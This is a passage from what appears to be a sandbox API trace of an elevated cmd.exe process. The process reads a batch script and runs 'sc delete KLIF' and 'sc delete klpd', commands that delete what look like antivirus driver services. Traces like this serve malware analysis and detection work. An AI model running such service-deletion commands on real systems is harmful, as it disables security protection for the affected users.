_Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0067.294] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0067.294] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.294] GetFileType (hFile=0x120) returned 0x3 [0067.294] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.294] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0067.294] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0067.294] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.294] GetFileType (hFile=0xb8) returned 0x3 [0067.294] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.295] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.295] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.295] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete KLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.295] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.295] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.295] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.295] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete KLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.295] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.295] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.295] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.295] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete KLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.295] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.295] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.295] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.295] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete KLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.295] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.295] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.296] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.296] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete KLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.296] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.296] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.296] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.296] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete KLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.296] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.296] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.296] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.296] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete KLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.296] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.296] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.296] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.296] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te KLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.296] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.296] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.296] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.297] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e KLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.297] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.297] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.297] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.297] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" KLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.297] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.297] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.297] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.297] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="kLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.297] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.297] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.297] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.297] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="lIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.297] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.297] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.297] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.297] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="pF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.298] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.298] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.298] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.298] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="d\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.298] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.298] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.298] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.298] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.298] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.298] GetFileType (hFile=0xb8) returned 0x3 [0067.298] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.298] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.298] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.298] GetFileType (hFile=0x120) returned 0x3 [0067.298] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.298] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete klpd\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete klpd\n", lpUsedDefaultChar=0x0) returned 16 [0067.298] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0xf, lpOverlapped=0x0) returned 1 [0067.298] GetProcessHeap () returned 0x1b0000 [0067.299] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d8630 [0067.299] GetProcessHeap () returned 0x1b0000 [0067.299] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8630 | out: hHeap=0x1b0000) returned 1 [0067.299] GetProcessHeap () returned 0x1b0000 [0067.299] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0067.299] GetProcessHeap () returned 0x1b0000 [0067.299] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0067.299] GetProcessHeap () returned 0x1b0000 [0067.299] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x2a) returned 0x1c6510 [0067.299] GetConsoleOutputCP () returned 0x1b5 [0067.299] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0067.299] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.300] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.300] GetProcessHeap () returned 0x1b0000 [0067.300] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0067.300] GetProcessHeap () returned 0x1b0000 [0067.300] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x30) returned 0x1c6550 [0067.300] GetProcessHeap () returned 0x1b0000 [0067.300] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc530 [0067.300] SetErrorMode (uMode=0x0) returned 0x1 [0067.300] SetErrorMode (uMode=0x1) returned 0x0 [0067.300] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc540, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0067.300] SetErrorMode (uMode=0x1) returned 0x1 [0067.300] GetProcessHeap () returned 0x1b0000 [0067.300] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc530, Size=0x62) returned 0x1cc530 [0067.300] GetProcessHeap () returned 0x1b0000 [0067.300] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc530) returned 0x62 [0067.301] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0067.301] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0067.301] GetProcessHeap () returned 0x1b0000 [0067.301] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0067.301] GetProcessHeap () returned 0x1b0000 [0067.301] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0067.301] GetProcessHeap () returned 0x1b0000 [0067.301] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0067.301] GetProcessHeap () returned 0x1b0000 [0067.301] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0067.301] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0067.301] GetProcessHeap () returned 0x1b0000 [0067.301] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0067.301] GetProcessHeap () returned 0x1b0000 [0067.301] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0067.301] GetProcessHeap () returned 0x1b0000 [0067.301] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0067.301] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0067.301] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0067.302] GetLastError () returned 0x2 [0067.302] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0067.302] GetLastError () returned 0x2 [0067.302] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0067.302] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0067.302] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0067.302] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0067.303] GetLastError () returned 0x2 [0067.303] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0067.303] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0067.303] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.303] GetProcessHeap () returned 0x1b0000 [0067.303] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0067.303] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.303] GetProcessHeap () returned 0x1b0000 [0067.303] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0x96) returned 0x1c9180 [0067.304] GetProcessHeap () returned 0x1b0000 [0067.304] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0x96 [0067.304] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete klpd") returned 1 [0067.304] GetProcessHeap () returned 0x1b0000 [0067.304] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0067.304] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0067.304] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0067.305] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0067.305] GetProcessHeap () returned 0x1b0000 [0067.305] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0067.305] GetProcessHeap () returned 0x1b0000 [0067.305] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0067.305] GetProcessHeap () returned 0x1b0000 [0067.305] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0067.305] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete klpd", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete klpd", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete klpd", lpProcessInformation=0x14ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0x908, dwThreadId=0x928)) returned 1 [0067.310] CloseHandle (hObject=0x54) returned 1 [0067.310] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0067.310] GetProcessHeap () returned 0x1b0000 [0067.310] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0067.310] GetEnvironmentStringsW () returned 0x1cba10* [0067.310] GetProcessHeap () returned 0x1b0000 [0067.310] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0067.310] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0067.310] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0067.310] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd5000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0067.310] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0067.400] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0067.400] CloseHandle (hObject=0x50) returned 1 [0067.400] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0067.400] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0067.400] GetProcessHeap () returned 0x1b0000 [0067.400] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0067.400] GetEnvironmentStringsW () returned 0x1d1b10* [0067.400] GetProcessHeap () returned 0x1b0000 [0067.400] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0067.401] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0067.401] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0067.401] GetProcessHeap () returned 0x1b0000 [0067.401] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0067.401] GetEnvironmentStringsW () returned 0x1cba10* [0067.401] GetProcessHeap () returned 0x1b0000 [0067.401] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0067.401] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0067.401] GetProcessHeap () returned 0x1b0000 [0067.401] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0067.401] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0067.401] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0067.401] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.401] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0067.402] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.402] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0067.402] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.402] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0067.402] GetConsoleOutputCP () returned 0x1b5 [0067.402] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0067.402] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.402] GetProcessHeap () returned 0x1b0000 [0067.402] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0067.402] GetProcessHeap () returned 0x1b0000 [0067.402] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0067.402] GetProcessHeap () returned 0x1b0000 [0067.402] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0067.402] GetProcessHeap () returned 0x1b0000 [0067.402] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc530 | out: hHeap=0x1b0000) returned 1 [0067.402] GetProcessHeap () returned 0x1b0000 [0067.402] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6550 | out: hHeap=0x1b0000) returned 1 [0067.402] GetProcessHeap () returned 0x1b0000 [0067.402] HeapFree (in: 